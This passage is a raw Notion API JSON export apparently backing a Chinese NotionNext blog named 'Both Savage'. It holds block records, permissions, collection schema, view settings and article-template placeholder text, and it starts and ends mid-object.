5f-e710-4600-b979-5b6b1ece731b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630806142,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"55acf95f-e710-4600-b979-5b6b1ece731b","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"a8c29bdc-907d-4d34-91e5-16cb41d364a8":{"value":{"id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["c794c243-598f-4d45-9354-33548953674a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5"}},"0af78e74-0f6f-4835-9439-2011e6119213":{"value":{"id":"0af78e74-0f6f-4835-9439-2011e6119213","type":"text","format":{"copied_from_pointer":{"id":"c038bbc8-3331-4b1f-a45c-03e3e1442d50","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"c038bbc8-3331-4b1f-a45c-03e3e1442d50"}},"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e":{"value":{"id":"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"152176ec-1720-4cc0-adc0-a46d67f54874","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"152176ec-1720-4cc0-adc0-a46d67f54874"}},"dce8171f-4f6b-4ed0-ba15-9768718c01fb":{"value":{"id":"dce8171f-4f6b-4ed0-ba15-9768718c01fb","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c"}},"04356097-50ce-4d5e-bebf-cf7b41537fcd":{"value":{"id":"04356097-50ce-4d5e-bebf-cf7b41537fcd","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"a3154c14-02b8-42a5-9f8a-0d70d35d7296","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3154c14-02b8-42a5-9f8a-0d70d35d7296"}},"b330bfba-4093-42e6-87c7-2b5459c9cf76":{"value":{"id":"b330bfba-4093-42e6-87c7-2b5459c9cf76","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6"}},"1fbd3e80-cdb5-4a08-bce3-ab338829afb3":{"value":{"id":"1fbd3e80-cdb5-4a08-bce3-ab338829afb3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e67738b8-c524-4008-a9cf-752ea580c5ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"e67738b8-c524-4008-a9cf-752ea580c5ff"}},"fd545374-5d81-4a2d-ab21-2d4df214b9f0":{"value":{"id":"fd545374-5d81-4a2d-ab21-2d4df214b9f0","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c"}},"ec9723c4-8b25-47e0-9df3-971848bbf522":{"value":{"id":"ec9723c4-8b25-47e0-9df3-971848bbf522","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"559245c6-ddc7-47b1-af8d-45b7126cb7fb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"559245c6-ddc7-47b1-af8d-45b7126cb7fb"}},"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8":{"value":{"id":"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0"}},"8624876d-b0bf-44d3-86a2-34e832f77ea9":{"value":{"id":"8624876d-b0bf-44d3-86a2-34e832f77ea9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"36b41a1b-fc54-402f-935e-51a74d106e67","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"36b41a1b-fc54-402f-935e-51a74d106e67"}},"f2398279-7337-415d-92de-ce76a1245c9f":{"value":{"id":"f2398279-7337-415d-92de-ce76a1245c9f","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"993e122a-d075-4c01-a170-e2a565684ac1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"993e122a-d075-4c01-a170-e2a565684ac1"}},"d858f147-752b-4fd7-a931-6e270a7b7f98":{"value":{"id":"d858f147-752b-4fd7-a931-6e270a7b7f98","type":"text","format":{"copied_from_pointer":{"id":"ec201c14-0045-4620-9550-234a18b291ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ec201c14-0045-4620-9550-234a18b291ed"}},"468c0bd8-9b86-4390-973c-a9ba199aa3b8":{"value":{"id":"468c0bd8-9b86-4390-973c-a9ba199aa3b8","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"ff80eebf-ace9-49e0-9075-065107f6ca1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ff80eebf-ace9-49e0-9075-065107f6ca1d"}},"c794c243-598f-4d45-9354-33548953674a":{"value":{"id":"c794c243-598f-4d45-9354-33548953674a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"13d1f070-3c8a-45e5-b46a-5b9b18019537","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","parent_table":"block","alive":true,"copied_from":"13d1f070-3c8a-45e5-b46a-5b9b18019537"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41